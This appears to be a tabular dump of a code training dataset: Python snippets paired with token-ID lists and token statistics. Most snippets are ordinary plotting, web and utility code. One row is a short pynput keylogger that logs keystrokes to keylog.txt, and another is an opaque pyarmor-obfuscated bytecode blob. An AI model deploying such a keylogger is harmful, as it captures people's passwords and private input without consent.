content
stringlengths
1
1.05M
input_ids
listlengths
1
883k
ratio_char_token
float64
1
22.9
token_count
int64
1
883k
import numpy as np import matplotlib.pyplot as plt # from scipy.constants import G # Setting plotting parameters from matplotlib import rc,rcParams rc('text', usetex=True) rc('axes', linewidth=2) rc('font', weight='bold') rc('font', **{'family': 'serif', 'serif':['Computer Modern']}) # def rk4_func(params): # s1, ...
[ 11748, 299, 32152, 355, 45941, 198, 11748, 2603, 29487, 8019, 13, 9078, 29487, 355, 458, 83, 198, 2, 422, 629, 541, 88, 13, 9979, 1187, 1330, 402, 198, 198, 2, 25700, 29353, 10007, 198, 6738, 2603, 29487, 8019, 1330, 48321, 11, 6015, ...
1.717224
1,556
""" Provides functionality to calculate software metrics in python projects. """ from recoda.analyse.python import ( _general, _installability, _understandability, _verifiability, _correctness, ) from recoda.analyse.independent import ( learnability, openness ) # pylint: disable-msg=c0103...
[ 37811, 47081, 11244, 284, 15284, 3788, 20731, 287, 21015, 4493, 13, 198, 37811, 198, 198, 6738, 664, 11329, 13, 38200, 325, 13, 29412, 1330, 357, 198, 220, 220, 220, 4808, 24622, 11, 198, 220, 220, 220, 4808, 17350, 1799, 11, 198, 220...
3.421687
498
__pyarmor__(__name__, __file__, b'\xe2\x50\x8c\x64\x26\x42\xd6\x01\x5c\x5c\xf8\xa8\x85\x0c\x21\xe7\x0a\xa2\x45\x58\x6e\xc9\x3c\xd5\x55\x40\x64\x69\x7d\x5f\x63\xcb\x41\xdc\x71\xdf\x4d\x82\x99\xc8\xc1\x98\xfd\x46\x67\x20\x2f\xed\x4b\xf6\xf9\x41\x55\x5c\x47\x3c\x78\x07\x75\x5d\x9b\x88\xa2\x6e\x5e\x78\xf3\x9c\x88\xba\xed\x...
[ 834, 9078, 40456, 834, 7, 834, 3672, 834, 11, 11593, 7753, 834, 11, 275, 6, 59, 27705, 17, 59, 87, 1120, 59, 87, 23, 66, 59, 87, 2414, 59, 87, 2075, 59, 87, 3682, 59, 24954, 21, 59, 87, 486, 59, 87, 20, 66, 59, 87, 20, 66,...
1.252442
1,331
import datetime import os import textwrap import click from PIL import Image, ImageDraw, ImageFont from metarmap.configuration import config, debug, get_display_lock_content, set_display_lock_content from metarmap.libraries.aviationweather import metar from metarmap.libraries.waveshare_epd import epd2in13_V2 FONTDIR...
[ 11748, 4818, 8079, 198, 11748, 28686, 198, 11748, 2420, 37150, 198, 198, 11748, 3904, 198, 6738, 350, 4146, 1330, 7412, 11, 7412, 25302, 11, 7412, 23252, 198, 198, 6738, 1138, 1670, 499, 13, 11250, 3924, 1330, 4566, 11, 14257, 11, 651, ...
2.494545
275
import os from django.template import RequestContext from django.shortcuts import render_to_response, get_object_or_404, redirect from django.contrib.formtools.wizard.views import NamedUrlSessionWizardView from django.core.urlresolvers import reverse from django.conf import settings from django.views.generic import D...
[ 11748, 28686, 198, 198, 6738, 42625, 14208, 13, 28243, 220, 1330, 19390, 21947, 198, 6738, 42625, 14208, 13, 19509, 23779, 1330, 8543, 62, 1462, 62, 26209, 11, 651, 62, 15252, 62, 273, 62, 26429, 11, 18941, 198, 6738, 42625, 14208, 13, ...
2.111702
752
# Min Heap Implementation
[ 2, 1855, 679, 499, 46333, 198 ]
4.333333
6
# This code is based on the code # from ann-benchmark repository # created by Erik Bernhardsson # https://github.com/erikbern/ann-benchmarks import gzip import numpy import time import os import multiprocessing import argparse import pickle import resource import random import math import logging import shutil import...
[ 2, 770, 2438, 318, 1912, 319, 262, 2438, 198, 2, 422, 1529, 12, 26968, 4102, 16099, 220, 198, 2, 2727, 416, 22722, 6206, 10424, 16528, 220, 198, 2, 3740, 1378, 12567, 13, 785, 14, 263, 1134, 33900, 14, 1236, 12, 26968, 14306, 198, ...
2.21424
4,677
from .ars import ARSLearner
[ 6738, 764, 945, 1330, 5923, 8634, 451, 1008, 198 ]
3.111111
9
from setuptools import setup setup( name="cre", packages=["cre"], version="0.1.0", author="Philipp Schiffmann", author_email="philippschiffmann@icloud.com", url="https://github.com/elaru/python3-cre", description="A regular expression processor implemented in python.", license="ISC", classifiers=[ "Developm...
[ 6738, 900, 37623, 10141, 1330, 9058, 198, 198, 40406, 7, 198, 197, 3672, 2625, 7513, 1600, 198, 197, 43789, 28, 14692, 7513, 33116, 198, 197, 9641, 2625, 15, 13, 16, 13, 15, 1600, 198, 197, 9800, 2625, 49680, 41665, 9038, 1600, 198, ...
2.971154
208
import enum DEFAULT_FILE_NAME = 'DEFAULT' RANDOM_MIX_CONFIG_NAME = 'RandomMix' WIDTH_NAME = 'Width' HIGHT_NAME = 'Hight'
[ 11748, 33829, 198, 198, 7206, 38865, 62, 25664, 62, 20608, 796, 705, 7206, 38865, 6, 198, 198, 49, 6981, 2662, 62, 8895, 55, 62, 10943, 16254, 62, 20608, 796, 705, 29531, 35608, 6, 198, 54, 2389, 4221, 62, 20608, 796, 705, 30916, 6,...
2.301887
53
import collections import functools import typing as t from nr.util.generic import T T_OrderedSet = t.TypeVar('T_OrderedSet', bound='OrderedSet')
[ 198, 11748, 17268, 198, 11748, 1257, 310, 10141, 198, 11748, 19720, 355, 256, 198, 198, 6738, 299, 81, 13, 22602, 13, 41357, 1330, 309, 198, 198, 51, 62, 35422, 1068, 7248, 796, 256, 13, 6030, 19852, 10786, 51, 62, 35422, 1068, 7248, ...
3
50
import re from netmiko.ssh_connection import SSHConnection
[ 11748, 302, 198, 6738, 2010, 76, 12125, 13, 45824, 62, 38659, 1330, 33825, 32048, 628 ]
4
15
"""{Build token: cluster index}, hashes for each specified granularity level in the user-defined list 'clustering_levels_to_consider' Output: level_xx_hash.json hash to /cluster_hashes """ import json import os import pickle as pkl import typing import numpy as np def cluster_index_to_tokens(cluster_index: int, ...
[ 37811, 90, 15580, 11241, 25, 13946, 6376, 5512, 46621, 329, 1123, 7368, 19468, 33737, 1241, 287, 262, 2836, 12, 23211, 1351, 705, 565, 436, 1586, 62, 46170, 62, 1462, 62, 44353, 6, 198, 198, 26410, 25, 1241, 62, 5324, 62, 17831, 13, ...
2.495208
313
# Copyright (c) 2018, MD2K Center of Excellence # - Nasir Ali <nasir.ali08@gmail.com> # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above cop...
[ 2, 15069, 357, 66, 8, 2864, 11, 10670, 17, 42, 3337, 286, 42525, 198, 2, 532, 22767, 343, 12104, 1279, 24716, 343, 13, 7344, 2919, 31, 14816, 13, 785, 29, 198, 2, 1439, 2489, 10395, 13, 198, 2, 198, 2, 2297, 396, 3890, 290, 779,...
2.982301
678
import sys import networkx as nx #from simhash import Simhash, SimhashIndex from sklearn.feature_extraction.text import TfidfVectorizer from sklearn.metrics.pairwise import cosine_similarity # if there is a problem with gensim and Word2Vec, check the python version # to be 2.7 # print('Hello from {}'.format(sys.versi...
[ 11748, 25064, 198, 198, 11748, 3127, 87, 355, 299, 87, 198, 2, 6738, 985, 17831, 1330, 3184, 17831, 11, 3184, 17831, 15732, 198, 6738, 1341, 35720, 13, 30053, 62, 2302, 7861, 13, 5239, 1330, 309, 69, 312, 69, 38469, 7509, 198, 6738, ...
2.62575
2,835
''' Modifed from code by Stephan Rabanser https://github.com/steverab/failing-loudly Plot test results across hospitals Usage: # region python generate_hosp_plot.py --datset eicu --path orig --test_type multiv --num_hosp 4 --random_runs 100 --min_samples 5000 --sens_attr race --group --group_type regions --limit_sam...
[ 7061, 6, 198, 5841, 361, 276, 422, 2438, 416, 20800, 28559, 504, 263, 3740, 1378, 12567, 13, 785, 14, 301, 964, 397, 14, 69, 11608, 12, 75, 2778, 306, 198, 198, 43328, 1332, 2482, 1973, 11301, 198, 198, 28350, 25, 198, 198, 2, 381...
2.037888
13,619
import sys import csv import logging import datetime from website.app import setup_django setup_django() from osf.models import Node, SpamStatus from django.db.models import Count from scripts import utils as script_utils logger = logging.getLogger(__name__) logging.basicConfig(level=logging.INFO) if __name__ == ...
[ 11748, 25064, 198, 11748, 269, 21370, 198, 11748, 18931, 198, 11748, 4818, 8079, 198, 198, 6738, 3052, 13, 1324, 1330, 9058, 62, 28241, 14208, 198, 40406, 62, 28241, 14208, 3419, 198, 198, 6738, 267, 28202, 13, 27530, 1330, 19081, 11, 1...
3.0625
112
#!/usr/bin/env python """Set up aiida-testing package.""" import os import warnings import setuptools from setuptools.config import read_configuration try: import fastentrypoints # NOQA # pylint: disable=unused-import except ImportError: warnings.warn( "The 'fastentrypoints' module could not be loa...
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 37811, 7248, 510, 257, 72, 3755, 12, 33407, 5301, 526, 15931, 198, 198, 11748, 28686, 198, 11748, 14601, 198, 198, 11748, 900, 37623, 10141, 198, 6738, 900, 37623, 10141, 13, 11250, 1330...
2.608696
299
import os import time import h5py import json from PIL import Image import torch from torch import nn import torchvision import torchvision.transforms as transforms import torch.optim import torch.nn.functional as F from torch.utils.data.dataset import random_split from torch.utils.data import Dataset from torch.nn....
[ 11748, 28686, 198, 11748, 640, 198, 11748, 289, 20, 9078, 198, 11748, 33918, 198, 6738, 350, 4146, 1330, 7412, 198, 198, 11748, 28034, 198, 6738, 28034, 1330, 299, 77, 198, 11748, 28034, 10178, 198, 11748, 28034, 10178, 13, 7645, 23914, ...
2.157265
3,847
from dataclasses import dataclass, field from typing import List, Optional from .access_delegate import AccessDelegate from .password_state import PasswordState from .user import User
[ 6738, 4818, 330, 28958, 1330, 4818, 330, 31172, 11, 2214, 198, 6738, 19720, 1330, 7343, 11, 32233, 198, 198, 6738, 764, 15526, 62, 2934, 34637, 1330, 8798, 5005, 34637, 198, 6738, 764, 28712, 62, 5219, 1330, 30275, 9012, 198, 6738, 764,...
4.133333
45
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import pulumi import pulumi.runtime
[ 2, 19617, 28, 40477, 12, 23, 198, 2, 17202, 39410, 25, 428, 2393, 373, 7560, 416, 262, 21624, 12994, 24118, 687, 10290, 357, 27110, 5235, 8, 16984, 13, 17202, 198, 2, 17202, 2141, 407, 4370, 416, 1021, 4556, 345, 821, 1728, 345, 760...
3.622951
61
from __future__ import annotations from abc import abstractmethod from collections.abc import Collection, Sequence from datetime import datetime from typing import TypeVar, Protocol from ..bytes import Writeable from ..flags import SessionFlags from ..parsing.response.fetch import EnvelopeStructure, BodyStructure fr...
[ 198, 6738, 11593, 37443, 834, 1330, 37647, 198, 198, 6738, 450, 66, 1330, 12531, 24396, 198, 6738, 17268, 13, 39305, 1330, 12251, 11, 45835, 198, 6738, 4818, 8079, 1330, 4818, 8079, 198, 6738, 19720, 1330, 5994, 19852, 11, 20497, 198, 1...
3.579767
257
import glob for file in glob.glob("*.lrc"): filename = file[0:7] # assume fnt-xxx.lrc file format lrc_file = open(file, encoding="utf-8") lrc_lines = lrc_file.readlines() lrc_file.close() label = open(filename + '.txt', 'w', encoding="utf-8") print(filename) for line in lrc_lines[3:]: ...
[ 11748, 15095, 198, 198, 1640, 2393, 287, 15095, 13, 4743, 672, 7203, 24620, 75, 6015, 1, 2599, 198, 220, 220, 220, 29472, 796, 2393, 58, 15, 25, 22, 60, 220, 1303, 7048, 277, 429, 12, 31811, 13, 75, 6015, 2393, 5794, 628, 220, 220...
2.201413
283
import math from rlbot.agents.base_agent import SimpleControllerState from rlbot.utils.structures.game_data_struct import GameTickPacket from driving.drive import drive_to_target from base.action import Action from base.car import Car from base.ball import Ball from util.vec import Vec3 from util.boost import BoostTrac...
[ 11748, 10688, 198, 6738, 374, 75, 13645, 13, 49638, 13, 8692, 62, 25781, 1330, 17427, 22130, 9012, 198, 6738, 374, 75, 13645, 13, 26791, 13, 7249, 942, 13, 6057, 62, 7890, 62, 7249, 1330, 3776, 51, 624, 47, 8317, 198, 6738, 5059, 13...
3.707865
89
import sys from tkinter import * from tkinter import filedialog #################### # FUNCTIONS # #################### ######################### # TEXT EDITOR ######################### # Create text editor text_editor = Tk("Kenza's text editor") # Add text widget text = Text(text_editor) text.grid() #...
[ 11748, 25064, 198, 6738, 256, 74, 3849, 1330, 1635, 198, 6738, 256, 74, 3849, 1330, 5717, 498, 519, 198, 198, 14468, 4242, 198, 2, 29397, 4177, 11053, 1303, 198, 14468, 4242, 628, 628, 628, 628, 198, 14468, 7804, 2, 198, 220, 220, 2...
2.566929
508
""" Default import all .py files in current directory """ from glob import iglob from re import search __all__ = [] """ Find all DB model modules and their paths """ for path in iglob('./**/*.py', recursive=True): model_pattern = '.*/models/\w+\.py' if search(model_pattern, path) is not None: """ Get ...
[ 37811, 15161, 1330, 477, 764, 9078, 3696, 287, 1459, 8619, 37227, 198, 6738, 15095, 1330, 220, 38686, 672, 198, 6738, 302, 1330, 2989, 198, 198, 834, 439, 834, 796, 17635, 198, 198, 37811, 9938, 477, 20137, 2746, 13103, 290, 511, 13532,...
2.651515
198
from tdoa_sim import TDOASim import numpy as np
[ 6738, 256, 4598, 64, 62, 14323, 1330, 13320, 46, 1921, 320, 198, 11748, 299, 32152, 355, 45941, 628, 198 ]
2.631579
19
#! usr/bin/python3 import pandas as pd import re import numpy as np import os import sys from collections import OrderedDict, defaultdict import matplotlib as mpl import matplotlib.pyplot as plt # import seaborn as sns from scipy import stats, integrate # sns.set() # switch to seaborn default # sns.set_style("whitegr...
[ 2, 0, 514, 81, 14, 8800, 14, 29412, 18, 198, 198, 11748, 19798, 292, 355, 279, 67, 198, 11748, 302, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 28686, 198, 11748, 25064, 198, 6738, 17268, 1330, 14230, 1068, 35, 713, 11, 4277, 11...
2.050328
1,371
from abc import abstractmethod from datetime import datetime, timedelta from enum import Enum, unique from io import RawIOBase from json import dumps, load from string import hexdigits from typing import ClassVar, Generator, Generic, Iterable, List, Optional, \ Sequence, Type, TypeVar, Union, cast f...
[ 6738, 450, 66, 1330, 12531, 24396, 198, 6738, 4818, 8079, 1330, 4818, 8079, 11, 28805, 12514, 198, 6738, 33829, 1330, 2039, 388, 11, 3748, 198, 6738, 33245, 1330, 16089, 9399, 14881, 198, 6738, 33918, 1330, 45514, 11, 3440, 198, 6738, 4...
2.575269
372
from functools import reduce from typing import List, Optional from opennem.core.normalizers import is_single_number def station_code_from_duids(duids: List[str]) -> Optional[str]: """ Derives a station code from a list of duids ex. BARRON1,BARRON2 => BARRON OSBAG,OSBAG => OSB...
[ 6738, 1257, 310, 10141, 1330, 4646, 198, 6738, 19720, 1330, 7343, 11, 32233, 198, 198, 6738, 1280, 77, 368, 13, 7295, 13, 11265, 11341, 1330, 318, 62, 29762, 62, 17618, 628, 628, 198, 4299, 4429, 62, 8189, 62, 6738, 62, 646, 2340, 7...
2.314448
353
from database.interface import FirebaseInterface
[ 6738, 6831, 13, 39994, 1330, 3764, 8692, 39317, 628 ]
5.555556
9
# Tuples are immutable print("============ tuples ============") print() tuples = (12345, 54321, 'hello!') print(tuples) u = tuples, (1, 2, 3, 4, 5) print(u) # The statement t = 12345, 54321, 'hello!' is an example of tuple packing: # the values 12345, 54321 and 'hello!' # are packed together in a tuple. The revers...
[ 2, 16749, 2374, 389, 40139, 198, 4798, 7203, 25609, 12777, 2374, 796, 2559, 855, 2625, 8, 198, 4798, 3419, 198, 198, 28047, 2374, 796, 357, 10163, 2231, 11, 642, 3559, 2481, 11, 705, 31373, 0, 11537, 198, 198, 4798, 7, 28047, 2374, ...
2.76087
138
""" This class consumes and lcmlog, extracts the images and saves them to png """ import os # director imports import director.vtkAll as vtk from director import filterUtils from director import lcmUtils from director import cameraview import bot_core as lcmbotcore from . import utils
[ 37811, 198, 1212, 1398, 37225, 290, 300, 66, 4029, 519, 11, 32139, 262, 4263, 290, 16031, 606, 198, 1462, 279, 782, 198, 37811, 198, 11748, 28686, 198, 198, 2, 3437, 17944, 198, 11748, 3437, 13, 85, 30488, 3237, 355, 410, 30488, 198, ...
3.506024
83
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Wed Feb 3 16:59:33 2021 @author: dopiwoo Given the head of a LinkedList and a number 'k', reverse every alternating 'k' sized sub-list starting from the head. If, in the end, you are left with a sub-list with less than 'k' elements, reverse it too. """ ...
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 18, 198, 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 37811, 198, 41972, 319, 3300, 3158, 220, 513, 1467, 25, 3270, 25, 2091, 33448, 198, 198, 31, 9800, 25, 22340, 142...
2.13459
743
from typing import Text, Dict import torch from torch.utils.data import Dataset
[ 6738, 19720, 1330, 8255, 11, 360, 713, 198, 198, 11748, 28034, 198, 6738, 28034, 13, 26791, 13, 7890, 1330, 16092, 292, 316, 628, 628, 628, 628, 198 ]
3.296296
27
# -*- coding: utf-8 -*- from authlib.client.apps import github from authlib.flask.client import OAuth from etcd import Client from flask import session from flask_caching import Cache from flask_mako import MakoTemplates from flask_session import Session from flask_sockets import Sockets from flask_sqlalchemy import S...
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 198, 6738, 6284, 8019, 13, 16366, 13, 18211, 1330, 33084, 198, 6738, 6284, 8019, 13, 2704, 2093, 13, 16366, 1330, 440, 30515, 198, 6738, 3503, 67, 1330, 20985, 198, 6738...
2.970339
236
import json import random import os import re from faker import Faker ################################################################################ # Some settings: ################################################################################ ADMIN_COUNT = 2 STUDENT_COUNT = 40 LECTURER_COUNT = 10 EXAM_REG_COU...
[ 11748, 33918, 198, 11748, 4738, 198, 11748, 28686, 198, 11748, 302, 198, 198, 6738, 277, 3110, 1330, 376, 3110, 628, 198, 29113, 29113, 14468, 198, 2, 2773, 6460, 25, 198, 29113, 29113, 14468, 198, 198, 2885, 23678, 62, 34, 28270, 796, ...
2.526682
862
###LATTICE OPERATIONS from .data_structure_definitions import *
[ 21017, 43, 17139, 8476, 43521, 18421, 198, 198, 6738, 764, 7890, 62, 301, 5620, 62, 4299, 50101, 1330, 1635, 198, 220, 220, 198, 220, 220, 220, 220 ]
2.666667
27
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2020/10/28 0028 11:34 # @Author : Hadrianl # @File : widget from vnpy.event import EventEngine, Event from vnpy.trader.engine import MainEngine from vnpy.trader.ui import QtWidgets, QtCore from ..engine import APP_NAME
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 2, 2488, 7575, 220, 220, 220, 1058, 12131, 14, 940, 14, 2078, 3571, 2078, 1367, 25, 2682, 198, 2, 2488, 13838, 220, ...
2.553571
112
#!/usr/bin/env python """Define routes for CRUD operations on users.""" from sqlalchemy import create_engine from sqlalchemy.orm import sessionmaker from application.models import (Base, Gift, Claim, User) from flask import (request, redi...
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 198, 37811, 7469, 500, 11926, 329, 8740, 8322, 4560, 319, 2985, 526, 15931, 198, 198, 6738, 44161, 282, 26599, 1330, 2251, 62, 18392, 198, 6738, 44161, 282, 26599, 13, 579, 1330, 6246, ...
2.434694
490
from flask import Flask import requests from bs4 import BeautifulSoup import os import sqlite3 import logging logging.basicConfig(filename='example.log', level=logging.DEBUG) URL = os.environ['SOURCE_URL'] AGENT = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661...
[ 6738, 42903, 1330, 46947, 198, 11748, 7007, 198, 6738, 275, 82, 19, 1330, 23762, 50, 10486, 198, 11748, 28686, 198, 11748, 44161, 578, 18, 198, 11748, 18931, 198, 198, 6404, 2667, 13, 35487, 16934, 7, 34345, 11639, 20688, 13, 6404, 3256...
2.813953
129
from flask import Flask from flask_sqlalchemy import SQLAlchemy from flask_bcrypt import Bcrypt from flask_login import LoginManager from flask_mail import Mail from nodaysoff.config import Config # from flask_session import Session db = SQLAlchemy() bcrypt = Bcrypt() login_manager = LoginManager() login_ma...
[ 6738, 42903, 1330, 46947, 201, 198, 6738, 42903, 62, 25410, 282, 26599, 1330, 16363, 2348, 26599, 201, 198, 6738, 42903, 62, 15630, 6012, 1330, 347, 29609, 201, 198, 6738, 42903, 62, 38235, 1330, 23093, 13511, 201, 198, 6738, 42903, 62, ...
3.273438
128
# scrip to test the lobpcg_sep eigenvalue solver include("../src/lobpcg_sep.jl") using LinearAlgebra Ns = 100 k = 5 # number of eigenvectors A = sqrt(Ns)*Diagonal(ones(Ns)) + rand(Ns, Ns) A = 0.5*(A + A') (e, X) = eigen(A) # orthonormal starting guess of the eigenvectors X0 = qr(rand(Ns, k + 6)).Q[:, 1:k+6] #comp...
[ 2, 629, 5528, 284, 1332, 262, 6804, 14751, 70, 62, 325, 79, 304, 9324, 8367, 1540, 332, 198, 17256, 7203, 40720, 10677, 14, 75, 672, 14751, 70, 62, 325, 79, 13, 20362, 4943, 198, 198, 3500, 44800, 2348, 29230, 198, 198, 47503, 796, ...
2.301325
302
""" Implementation of a ButtonEditor demo plugin for Traits UI demo program. This demo shows each of the two styles of the ButtonEditor. (As of this writing, they are identical.) """ from traits.api import HasTraits, Button from traitsui.api import Item, View, Group from traitsui.message import message #-----------...
[ 37811, 198, 3546, 32851, 286, 257, 20969, 17171, 13605, 13877, 329, 4759, 896, 12454, 13605, 1430, 13, 198, 198, 1212, 13605, 2523, 1123, 286, 262, 734, 12186, 286, 262, 20969, 17171, 13, 198, 7, 1722, 286, 428, 3597, 11, 484, 389, 10...
4.331034
145
#!/usr/bin/env python # -*- coding: UTF-8 -*- import setuptools version='0.1' setuptools.setup( name='TracDevPlatformPlugin', version=version, description='Provide helpers to ease development on top of Trac', author='Felix Schwarz', author_email='felix.schwarz@oss.schwarz.eu', url='http:/...
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 2, 532, 9, 12, 19617, 25, 41002, 12, 23, 532, 9, 12, 198, 198, 11748, 900, 37623, 10141, 198, 198, 9641, 11639, 15, 13, 16, 6, 198, 2617, 37623, 10141, 13, 40406, 7, 198, 220, 22...
2.545259
464
from pynput.keyboard import Key, Listener import logging logging.basicConfig(filename=("keylog.txt"), level=logging.DEBUG, format=" %(asctime)s - %(message)s") with Listener(on_press=on_press) as listener: listener.join()
[ 6738, 279, 2047, 1996, 13, 2539, 3526, 1330, 7383, 11, 7343, 877, 198, 11748, 18931, 198, 198, 6404, 2667, 13, 35487, 16934, 7, 34345, 28, 7203, 2539, 6404, 13, 14116, 12340, 1241, 28, 6404, 2667, 13, 30531, 11, 5794, 2625, 4064, 7, ...
2.8625
80
# Generated by Django 2.2.6 on 2019-11-02 09:32 from django.conf import settings from django.db import migrations, models import django.db.models.deletion import uuid
[ 2, 2980, 515, 416, 37770, 362, 13, 17, 13, 21, 319, 13130, 12, 1157, 12, 2999, 7769, 25, 2624, 198, 198, 6738, 42625, 14208, 13, 10414, 1330, 6460, 198, 6738, 42625, 14208, 13, 9945, 1330, 15720, 602, 11, 4981, 198, 11748, 42625, 14...
3.017857
56
from selenium import webdriver from selenium.webdriver.common.keys import Keys import time import random import datetime from tkinter import * from tkinter import messagebox from tkinter import ttk import functools # import pathlib from conflista import Bot from salvacode import Salvar from escreve import escreve...
[ 6738, 384, 11925, 1505, 1330, 3992, 26230, 198, 6738, 384, 11925, 1505, 13, 12384, 26230, 13, 11321, 13, 13083, 1330, 26363, 198, 198, 11748, 640, 198, 11748, 4738, 198, 11748, 4818, 8079, 198, 198, 6738, 256, 74, 3849, 1330, 1635, 198,...
2.523936
752
""" process_atac.py Margaret Guo 04/15/2020 footprinting (.bed) --> csv) notebooks - make_hichip_df-withsnps-cancer-only """ #### FIX FOR HOCO
[ 37811, 198, 14681, 62, 265, 330, 13, 9078, 198, 198, 24428, 8984, 1962, 78, 198, 198, 3023, 14, 1314, 14, 42334, 628, 198, 5898, 4798, 278, 20262, 3077, 8, 14610, 269, 21370, 8, 628, 198, 198, 11295, 12106, 198, 12, 787, 62, 71, 4...
2.307692
65
""" ------------------------------------------------- # @Project : # @File :login # @Date :2021/8/1 18:16 # @Author : # @Email :1224069978 # @Software :PyCharm ------------------------------------------------- """ import hashlib,copy,requests from conf.host import * if __name__ == '__main__': print...
[ 37811, 198, 47232, 12, 198, 2, 2488, 16775, 220, 1058, 198, 2, 2488, 8979, 220, 220, 220, 220, 1058, 38235, 198, 2, 2488, 10430, 220, 220, 220, 220, 1058, 1238, 2481, 14, 23, 14, 16, 1248, 25, 1433, 198, 2, 2488, 13838, 220, 220, ...
3.044643
112
# Supporting Module # identities.py
[ 198, 2, 44188, 19937, 198, 2, 18413, 13, 9078, 628, 628, 628 ]
3.5
12
#!/usr/bin/env python2 # Design Decisions # Heuristic : Heuristic tries to maximize the pieces of that particular player on top n rows # Min-Max : Min-Max algorithm has been used # IDS : Iterative deepening search has been used to move down the tree(depth:100) # No Time Constrain : No time constrain has been taken.In...
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 17, 220, 198, 2, 8495, 4280, 3279, 198, 2, 679, 27915, 1058, 679, 27915, 8404, 284, 20487, 262, 5207, 286, 326, 1948, 2137, 319, 1353, 299, 15274, 198, 2, 1855, 12, 11518, 1058, 1855, 12,...
1.273569
8,104
binary.memoize = {0: '0', 1: '1'} n_f = 9 with open('command_lines.txt', 'w') as out: for i in range(2**n_f): out.write('/home/nversbra/anaconda3/envs/py36/bin/python random_forest.py dida_posey_to_predict.csv 100 50 1-1-1 %s\n' % get_binary_l(i, n_f))
[ 39491, 13, 11883, 78, 1096, 796, 1391, 15, 25, 705, 15, 3256, 352, 25, 705, 16, 6, 92, 201, 198, 201, 198, 77, 62, 69, 796, 860, 201, 198, 4480, 1280, 10786, 21812, 62, 6615, 13, 14116, 3256, 705, 86, 11537, 355, 503, 25, 201, ...
1.971014
138
""" Functions for plotting the signal to noise per angular bin. """ import math import os.path import matplotlib import matplotlib.pyplot as plt import numpy as np import angular_binning.like_cf_gauss as like_cf DEG_TO_RAD = math.pi / 180.0 def plot_cl_cf(diag_she_cl_path, she_nl_path, lmin, lmax, theta_min, the...
[ 37811, 198, 24629, 2733, 329, 29353, 262, 6737, 284, 7838, 583, 32558, 9874, 13, 198, 37811, 198, 198, 11748, 10688, 198, 11748, 28686, 13, 6978, 198, 198, 11748, 2603, 29487, 8019, 198, 11748, 2603, 29487, 8019, 13, 9078, 29487, 355, 4...
2.204479
7,903
""" test_18_confirm_purchase As a developer building a service provider Agent for Ocean, I need a way to confirm if an Asset has been sucessfully puchased so that I can determine whether to serve the asset to a given requestor """ import secrets import logging import json from starfish.asset import ...
[ 37811, 198, 220, 220, 220, 1332, 62, 1507, 62, 10414, 2533, 62, 79, 18737, 628, 220, 220, 220, 1081, 257, 8517, 2615, 257, 2139, 10131, 15906, 329, 10692, 11, 198, 220, 220, 220, 314, 761, 257, 835, 284, 6216, 611, 281, 31433, 468, ...
3.521277
94
from blaze.expr import TableSymbol from blaze.expr.datetime import isdatelike from blaze.compatibility import builtins from datashape import dshape import pytest
[ 6738, 31259, 13, 31937, 1330, 8655, 13940, 23650, 198, 6738, 31259, 13, 31937, 13, 19608, 8079, 1330, 318, 4475, 2339, 198, 6738, 31259, 13, 5589, 25901, 1330, 3170, 1040, 198, 6738, 4818, 1077, 1758, 1330, 288, 43358, 198, 198, 11748, ...
3.711111
45
import argparse import os import time import gym import warnings # Parts of the code are inspired by the AutoML3 competition from sys import argv, path from os import getcwd from os.path import join verbose = True if __name__ == "__main__": parser = argparse.ArgumentParser( description="The experiment run...
[ 11748, 1822, 29572, 198, 11748, 28686, 198, 11748, 640, 198, 11748, 11550, 198, 11748, 14601, 198, 198, 2, 22349, 286, 262, 2438, 389, 7867, 416, 262, 11160, 5805, 18, 5449, 198, 6738, 25064, 1330, 1822, 85, 11, 3108, 198, 6738, 28686, ...
2.233672
689
from volga.json import foo_test
[ 6738, 2322, 4908, 13, 17752, 1330, 22944, 62, 9288, 628 ]
3.3
10
# This Project is in it's early stages of Development. # Working on new features and main menu. # Any Questions or Suggestions please Mail to: hendriksdevmail@gmail.com # Version: 1.0.0 from selenium import webdriver from colorama import Fore, Back, Style import warnings import time import random import string imp...
[ 2, 220, 770, 4935, 318, 287, 340, 338, 1903, 9539, 286, 7712, 13, 198, 2, 220, 14594, 319, 649, 3033, 290, 1388, 6859, 13, 198, 2, 220, 4377, 20396, 393, 35042, 507, 3387, 11099, 284, 25, 339, 358, 39370, 7959, 4529, 31, 14816, 13...
1.987922
5,299
from fixation.models import get_id, Message, MsgContent, Component, Field, Enum import os
[ 6738, 48785, 13, 27530, 1330, 651, 62, 312, 11, 16000, 11, 6997, 70, 19746, 11, 35100, 11, 7663, 11, 2039, 388, 198, 198, 11748, 28686, 628, 198 ]
3.444444
27
###################### # Loading word2vec ###################### import os from threading import Semaphore import gensim from gensim.models import KeyedVectors pathToBinVectors = '/Users/kanishksinha/Downloads/GoogleNews-vectors-negative300.bin' newFilePath = '/Users/kanishksinha/Downloads/GoogleNews-vectors-negative...
[ 198, 14468, 4242, 2235, 198, 2, 12320, 1573, 17, 35138, 198, 14468, 4242, 2235, 198, 11748, 28686, 198, 6738, 4704, 278, 1330, 12449, 6570, 382, 198, 11748, 308, 641, 320, 198, 6738, 308, 641, 320, 13, 27530, 1330, 7383, 276, 53, 478,...
3.433754
634
lista = [] x = 0 while x != 999: x = int(input('Numero: ')) if x not in lista: lista.append(x) lista.sort() print(lista)
